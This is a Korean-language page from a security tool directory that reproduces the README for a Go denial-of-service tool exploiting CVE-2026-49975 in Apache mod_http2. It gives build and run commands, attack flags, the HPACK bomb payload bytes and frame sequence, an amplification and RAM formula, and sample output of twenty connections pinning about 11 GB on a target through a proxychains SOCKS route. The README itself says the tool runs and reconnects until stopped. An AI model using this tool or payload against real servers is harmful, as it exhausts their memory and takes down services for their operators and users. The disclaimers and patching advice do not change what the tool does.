Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
POC-CVE-2026-49975 — CVE-2026-49975에 대한 보안 연구 PoC: Apache mod_http2의 HTTP/2 HPACK 압축 폭탄 + 흐름 제어 유지 DoS | Kitploit
도구/GitHubGitHub/naheeju/poc-cve-2026-49975
Vulnerability AnalysisExploitationWeb SecurityNetwork Security
GitHubnaheeju/poc-cve-2026-49975

POC-CVE-2026-49975

CVE-2026-49975에 대한 보안 연구 PoC: Apache mod_http2의 HTTP/2 HPACK 압축 폭탄 + 흐름 제어 유지 DoS

저장소 보기
8시간 5분 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Go Version Status Scope CVSS License

CVE-2026-49975

HTTP/2 Bomb — HPACK 압축 폭탄 + 흐름 제어 홀드 PoC

naheeju의 보안 연구 PoC


⚠️ 이것은 동작하는 메모리 고갈 DoS 도구이며, 장난감이 아닙니다. 대상이 메모리를 할당하도록 강제하는 스트림을 열고 HTTP/2 흐름 제어 트릭을 통해 이를 열린 상태로 유지합니다. 프로세스가 실행되는 한 계속 홀드하며 서버가 연결을 끊으면 자동으로 재연결합니다 — 스스로 멈추지 않습니다. 영향은 --threads, --streams, --headers에 정비례하여 커집니다. 프로세스를 중지하면(Ctrl+C) 홀드된 스트림이 해제되고 서버가 복구되지만, 기본 동작 중 "온건한" 부분은 전혀 없습니다 — 모든 실행을 실전 테스트로 취급하십시오.


1. 개요

CVE-2026-49975("HTTP/2 Bomb")는 Apache HTTP Server의 mod_http2 모듈에 영향을 미치는 원격, 비인증 서비스 거부 취약점입니다. 이는 오래전부터 알려진 두 가지 HTTP/2 약점을 연쇄시킵니다:

  1. HPACK 부기 폭탄 — 작은 HPACK 인코딩 HTTP/2 요청이 여러 Cookie 헤더 조각을 LimitRequestFields에 대해 계산되지 않은 채 병합하도록 하여, 서버가 내부 헤더 부기 구조를 위해 반복적으로 메모리를 할당하도록 강제합니다.
  2. 흐름 제어 정지 (Slowloris 스타일) — 클라이언트가 거의 0에 가까운 흐름 제어 윈도를 광고하여 응답 전송을 지연시키고 영향을 받는 스트림을 열린 상태로 유지함으로써, 할당된 메모리가 해제되지 않도록 합니다.

결과: 적당한 연결의 단일 클라이언트가 스트림이 열린 상태로 유지되는 한 대상에 상당하고 지속적인 메모리 할당을 강제할 수 있습니다. 이 구현은 두 가지 페이로드 모드를 지원하며 구성한 동시성에 따라 선형적으로 확장됩니다:

  • nginx 모드 — HPACK 동적 테이블에 빈 x-bomb 헤더를 심고 반복적으로 재참조합니다 (참조당 약 70:1 증폭).
  • classic 모드 — 대신 과대한 cookie 헤더를 심습니다 (참조당 약 4000:1 증폭).

각 연결은 스트림당 심어진 헤더를 수천 번 재참조하며(--headers, 기본값 5000), 연결당 여러 스트림(--streams, 기본값 10)과 여러 병렬 연결(--threads, 기본값 1)에 걸쳐 수행합니다. 서버가 연결을 닫으면 도구는 즉시 재연결하고 계속 진행하며 수동으로 중지할 때까지 멈추지 않습니다 — 이는 일회성 프로브가 아닌 연속 홀드 루프입니다.

다른 영향을 받는 스택의 관련 식별자(이 저장소에서 구현되거나 테스트되지 않음):

  • Envoy → CVE-2026-47774
  • Microsoft IIS, Cloudflare Pingora → 별도로 추적되며, 여기서 참조된 CVE 없음

완전성을 위해, 근본적인 약점 클래스의 전체 범위 — "HTTP/2 Bomb" 기법(HPACK 압축 폭탄 + 흐름 제어 홀드)은 Apache 외에도 여러 서버 구현에 영향을 미칩니다. 이 저장소는 Apache 사례만 구현하고 테스트합니다. 나머지는 독자가 더 넓은 클래스를 이해할 수 있도록 포함된 것이지, 이 PoC가 그것들을 실행하기 때문이 아닙니다:

구현상태이 PoC에서 구현됨?
Apache HTTP Server mod_http2httpd 2.4.68에서 수정됨 (2026-06-08)예 — 이 저장소
nginx1.29.8에서 수정됨아니오
Envoy별도로 추적됨아니오
Microsoft IIS별도로 추적됨아니오
Cloudflare Pingora별도로 추적됨아니오
CVECVE-2026-49975
CWECWE-789 (NVD/CVE.org 기준, 과도한 크기 값으로 인한 메모리 할당); 일부 벤더는 CWE-409 (고압축 데이터의 부적절한 처리)로도 추적
CVSS7.5 (High) — CVSS v3.1, 가용성 전용 벡터 (NVD 기준). Apache 자체 권고는 Moderate로 평가.
영향받는 구성 요소Apache HTTP Server mod_http2
취약한 버전Apache httpd 2.4.17 ≤ 버전 ≤ 2.4.67 (기본 HTTP/2 구성)
수정된 버전Apache HTTP Server 2.4.68 (2026-06-08 릴리스). 근본 수정은 2026-05-27 업스트림 mod_h2에 반영되었고, 2026-06-02 httpd 2.4.x 브랜치에 병합되어 2.4.68 릴리스에 포함됨.
공격 유형서비스 거부 — 메모리 고갈 (가용성에만 영향)
인증 필요아니오
데이터 노출 / RCE없음 — 가용성 영향만 있음
알려진 악용현재 추적 소스에서 실제 악용 사례로 표시되지 않음.

참고 자료 (1차 출처 — 모든 주장을 독립적으로 검증하십시오):

  • CVE 레코드: https://www.cve.org/CVERecord?id=CVE-2026-49975
  • NVD 항목: https://nvd.nist.gov/vuln/detail/CVE-2026-49975
  • Apache 권고 / 취약점 목록: https://httpd.apache.org/security/vulnerabilities_24.html
  • Apache 2.4.68 변경 로그 (수정 커밋 참조): https://dlcdn.apache.org/httpd/CHANGES_2.4.68
  • 최초 발견 글: https://blog.calif.io/p/codex-discovered-a-hidden-http2-bomb

2. 이 저장소의 범위

이 저장소는 다음을 포함합니다:

  • 테스트 권한이 있는 대상에 대해 홀드 전용 HPACK 폭탄 동작을 재현하는 최소 PoC 스크립트.
  • 취약점, 공개 타임라인, 안전한 사용 조건을 문서화한 이 README.

이 저장소는 다음을 포함하지 않습니다:

  • 취약한 호스트를 인터넷에서 스캔하는 자동화.
  • 플러딩/DoS 지속 로직, 동시성 램프업, 자격 증명/대상 목록.
  • 기본적으로 특정 라이브 시스템을 대상으로 하는 코드. 대상은 운영자가 명시적으로 제공해야 합니다.

3. ⚖️ 법적 및 윤리적 고지

무엇이든 하기 전에 이것을 읽으십시오.

  • 이 PoC는 교육 및 방어적 보안 연구 목적으로만 공개됩니다 — 운영자가 자신의 노출을 검증하고, 이미 공개되고 이미 패치된 취약점의 공개 기록을 뒷받침할 수 있도록 돕기 위함입니다.
  • 자신의 인프라가 아니거나 계약상/법적으로 테스트 권한이 있는 시스템(예: 서명된 침투 테스트 계약, 버그 바운티 범위, 서면 허가)이 아닌 대상에 대해 실행하기 전에 시스템 소유자로부터 명시적이고 문서화된 권한을 받아야 합니다.
  • 정부 기관, 법 집행 기관, 핵심 인프라 또는 모든 제3자 프로덕션 시스템을 포함하되 이에 국한되지 않는, 소유하지 않았거나 테스트 권한이 없는 시스템에 대해 이 PoC를 실행하는 것은 허가 없이 대부분의 관할권에서 불법이며(인도네시아에서는 UU ITE에 해당), 다른 곳에서는 형사 범죄를 구성할 수 있습니다.
  • 이 저장소의 저자:
    • 이 코드의 오용에 대해 어떠한 책임도 지지 않습니다.
    • 권한 없이 어떤 시스템의 서비스를 방해, 저하 또는 거부하기 위해 이 PoC를 사용하는 것을 용인하지 않습니다.
    • 이 코드를 있는 그대로 제공하며, 어떠한 종류의 보증도 하지 않습니다.
  • 시스템이 테스트되어 이 저장소를 발견한 벤더, 기관 또는 시스템 운영자인 경우: 이것이 어떻게 보고되었고 누구에게 보고되었는지는 섹션 6 — 공개 타임라인을 참조하십시오.

이 저장소의 코드를 다운로드, 복제 또는 실행함으로써, 귀하는 적절한 권한을 확보할 전적인 책임이 있음에 동의하며, 사용에 대한 모든 법적 책임을 수락합니다.


4. 정찰 방법

CVE-2026-49975는 섹션 1의 두 기준을 모두 충족하는 대상에만 적용됩니다 — HTTP/2를 통해 도달 가능 하고 범위 내 취약한 mod_http2 버전(2.4.17 ≤ 버전 ≤ 2.4.67, 기본 구성)을 실행 중이어야 합니다. 대상의 HTTPS 포트에 대한 단순한 curl -vkI로 둘 다 확인할 수 있습니다 — 스캐너나 추가 플래그가 필요하지 않습니다:

root@kitploit:~
curl -vkI https://<target>

출력에서 확인할 사항:

  • ALPN: server accepted h2 — 서버가 이 연결에 대해 HTTP/2를 협상했습니다. 버그가 mod_http2에 있으므로 이것이 CVE-2026-49975의 전제 조건입니다. 여기서 h2를 수락하지 않은 서버는 후보가 아닙니다.
  • Server 응답 헤더(-v 출력의 더 아래쪽, HEAD 응답 헤더가 출력되면 표시됨) — 이것이 실제 Apache/mod_http2 버전을 섹션 1의 취약 범위와 대조하여 확인하거나 배제하는 것입니다. ALPN 수락만으로는 버전을 확인하지 못합니다 — 여전히 Server 헤더 또는 동등한 배너 확인이 필요합니다.

이 저장소에서는 이 외에는 정찰에 사용되지 않습니다 — 능동적 악용 트래픽, 취약점 스캐너, 포트 스윕 없음.


5. 요구 사항

  • 런타임: Go 1.26+ (모듈: cve202649975)
  • 의존성: golang.org/x/net v0.59.0 (go build를 통해 자동으로 해결됨)
  • 네트워크 접근: 지정된 포트에서 권한이 부여된 대상에 대한 직접 TCP 도달 가능성 (기본 443, 기본적으로 TLS/h2; 평문 h2c의 경우 --no-ssl)
  • 선택 사항: proxychains4 — 바이너리가 proxychains4 아래에서 실행되면 LD_PRELOAD 래퍼를 감지하고, 동일한 proxychains4.conf를 읽고, 자체 연결을 해당 SOCKS5 프록시(원격 DNS 확인)를 통해 라우팅합니다 — 계약 범위가 특정 이그레스 경로에서의 테스트를 요구할 때 유용합니다
  • 권한: 테스트 대상에 대한 서면 권한 / 계약서

6. 공개 타임라인

CVE-2026-49975 자체의 공개 타임라인: 2026-05-26 Apache에 보고됨; 2026-05-27 업스트림 mod_h2에 수정 반영됨; 2026-06-02 httpd 2.4.x 브랜치에 병합됨; 2026-06-08 Apache HTTP Server 2.4.68 릴리스됨.


7. 사용법

명시적으로 테스트 권한이 부여된 대상에만 실행하십시오. 내장된 지속 시간 제한이나 안전 모드는 없습니다 — 얼마나 오래, 어떤 동시성으로 실행할지는 귀하가 책임집니다.

빌드:

root@kitploit:~
go build -o dos ./cmd
# or: sudo install -m 0755 dos /usr/local/bin/dos   (see build.sh)

실행:

root@kitploit:~
./dos <target> <port> [flags]
플래그기본값설명
--threads N1병렬 연결
--streams N10연결당 열리는 스트림
--headers N5000스트림당 HPACK 동적 테이블 참조 (증폭 구동 요소)
--mode nginx|classicnginxnginx = 빈 헤더 부기 폭탄 (~70:1); classic = 팻 쿠키 폭탄 (~4000:1, 이 CVE가 추적되는 Apache mod_http2 Cookie 병합 메커니즘과 일치)
--no-ssloffTLS 대신 평문 h2c 사용

예시, 최소 권한 랩 테스트:

root@kitploit:~
./dos lab-target.internal 443 --threads 1 --streams 5 --headers 1000 --mode nginx

예상되는 동작:

  • 아무것도 보내기 전에 사전 점검 요약(대상, 모드, 연결/스트림 수, 예상 서버 측 메모리)을 출력합니다.
  • 1바이트 WINDOW_UPDATE 드립과 주기적 핑으로 스트림을 열린 상태로 유지합니다; 서버가 연결을 닫으면 자동으로 재연결하고 반복합니다.
  • Ctrl+C / SIGTERM을 보낼 때만 중지됩니다 — 이에 맞춰 테스트 시간을 계획하고 대상의 메모리를 실시간으로 모니터링하십시오.
  • 권장: 권한이 부여된 프로덕션 테스트 전에 낮은 --streams/--headers로 스테이징/랩 환경에 대해 먼저 검증하고, 어느 경우든 대상 서비스에 대한 롤백/재시작 계획을 준비하십시오.

7a. RAM 압박 추정

이 도구의 두 모드에 대한 대략적인 서버 측 메모리 공식 (Apache mod_http2 전용 — nginx/classic이 증폭 비율에 어떻게 매핑되는지는 섹션 1 참조):

root@kitploit:~
total_streams   = threads × streams
server_ram_MB   ≈ total_streams × headers × amplification_bytes / 1024²

# nginx mode (~70 bytes/ref), defaults (threads=1, streams=10, headers=5000):
#   1 × 10 × 5000 × 70 / 1024²  ≈ 3.3 MB held

# classic mode (~4000 bytes/ref), defaults:
#   1 × 10 × 5000 × 4000 / 1024² ≈ 190 MB held

threads/streams/headers를 늘리면 숫자가 선형적으로 증가합니다 — 이것이 권한이 부여된 랩 테스트가 프로덕션 범위 실행 전에 낮게 시작해야 하는 이유입니다(섹션 7 참조).


7b. 기술 세부 사항

이것은 이 특정 PoC가 Apache mod_http2에 대해 구현하는 메커니즘을 문서화합니다 — 다른 서버 구현으로 확장되지 않으며, 이는 이 저장소의 범위 밖입니다(섹션 2 참조).

HPACK 동적 테이블 시드 (증분 인덱싱, 인덱스 62에 항목 추가):

root@kitploit:~
0x40 | name_len | name | value_len | value
= 0x40 0x06 "x-bomb" 0x00              (nginx-mode seed: empty value)

해당 항목에 대한 인덱스 참조 (각 1바이트, --headers번 반복):

root@kitploit:~
0x80 | 62 = 0xbe

연결당 HTTP/2 프레임 시퀀스:

root@kitploit:~
Client → Server:
  PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n        (connection preface)
  SETTINGS [INITIAL_WINDOW_SIZE=0]         (flow-control stall setup)
  SETTINGS ACK                             (after reading server SETTINGS)
  HEADERS [stream 1]  ← HPACK bomb payload
  HEADERS [stream 3]  ← HPACK bomb payload
  ...                                      (up to --streams per connection)
  WINDOW_UPDATE(1) per stream, periodically   (keeps the stall alive)

전송 비용은 작고 스트림당 대부분 고정되어 있습니다(시드에 몇 바이트 + 참조당 1바이트); 서버 측 할당이 불균형적으로 증가하는 것입니다 — 그 격차가 취약점입니다.


7c. 예시 출력

권한이 부여된 랩 실행의 출력, classic 모드, 20개 연결 × 연결당 30개 스트림, 스트림당 5000 HPACK 참조, proxychains를 통해 라우팅됨:

root@kitploit:~
proxychains4 dos domain.com 443 --mode classic --threads 20 --streams 30 --headers 5000
root@kitploit:~
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17


 ██╗  ██╗██████╗     ██████╗  ██████╗ ███╗   ███╗██████╗
 ██║  ██║╚════██╗    ██╔══██╗██╔═══██╗████╗ ████║██╔══██╗
 ███████║ █████╔╝    ██████╔╝██║   ██║██╔████╔██║██████╔╝
 ██╔══██║██╔═══╝     ██╔══██╗██║   ██║██║╚██╔╝██║██╔══██╗
 ██║  ██║███████╗    ██████╔╝╚██████╔╝██║ ╚═╝ ██║██████╔╝
 ╚═╝  ╚═╝╚══════╝    ╚═════╝  ╚═════╝ ╚═╝     ╚═╝╚═════╝

  CVE-2026-49975  —  HTTP/2 Bomb PoC  (HPACK bomb + flow-control hold)
  Go PoC by naheeju  ·  originally discovered by Calif.IO  ·  authorized testing only
──────────────────────────────────────────────────────────────────
  Run configuration
  Target           domain.com:443
  Mode             classic (~4000:1 amplification)
  Connections      20
  Streams/conn     30
  Total streams    600
  HPACK refs/str   5000
  Est. server RAM  ~11444 MB
  Proxychains      yes — SOCKS5 127.0.0.1:9050 (remote DNS, no leak)
──────────────────────────────────────────────────────────────────
  [~] Opening connection #1...
  ...
  [+] 30 streams open | ~572 MB pinned on server | holding...
  [+] 30 streams open | ~572 MB pinned on server | holding...
  ... (one line per connection as it finishes opening its 30 streams)

각 연결은 스트림을 열면서 자체 로컬 RAM 기여도를 독립적으로 보고합니다(이 설정에서 연결당 약 572 MB); 사전 점검 Est. server RAM 수치는 모든 연결이 완전히 열리고 홀드되면 20개 연결 전체의 집계입니다(약 11.4 GB).

위의 domain.com은 자리 표시자입니다 — 자신의 실행을 문서화할 때 실제 권한이 부여된 대상으로 교체하고, 계약이 기밀인 경우 삭제하십시오.


8. 완화 조치

  • Apache HTTP Server: httpd 2.4.68 이상으로 업그레이드하십시오 (이것이 수정이 포함된 릴리스입니다).
  • 즉시 패치가 불가능한 경우:
    • LimitRequestFields를 보수적으로 설정하고 헤더 병합 동작을 모니터링하십시오.
    • 패치될 때까지 영향을 받는 리스너에서 HTTP/2를 비활성화하는 것을 고려하십시오.
    • 하드 헤더 수 상한을 강제하는 리버스 프록시/WAF로 서비스를 앞에 두십시오.
  • 완화 조치 후 재테스트하여 홀드-해제 동작이 더 이상 지속적인 메모리 증가를 일으키지 않는지 확인하십시오.

9. 크레딧 / 기여

최초 취약점 발견 및 Apache에 공개 (이 저장소 또는 그 저자와 무관):

  • Quang Luong, Calif.IO, OpenAI Codex와 협력
  • 2026-05-26 Apache HTTP Server Project에 보고됨; 공식 크레딧 라인은 2.4.68 변경 로그에 게시됨

이 저장소 (공개 수정이 반영된 후 작성되고 테스트된 Go 재구현):

  • 저자: naheeju
  • 검증/교육 목적으로 권한이 부여된 대상에 대해 공개 취약점 설명과 패치 diff로부터 구축된 독립 PoC. 최초 발견, Calif.IO 또는 Apache Security Team과 제휴하지 않음.

이 특정 PoC에 대한 질문, 수정 또는 책임 있는 공개와 관련된 우려 사항: 이 저장소에 이슈를 열어주십시오.

라이선스: MIT (이 저장소의 코드에만 해당 — LICENSE 참조). 최초 발견자나 Apache Software Foundation으로 확장되거나 그들의 보증을 암시하지 않습니다.

도구 다운로드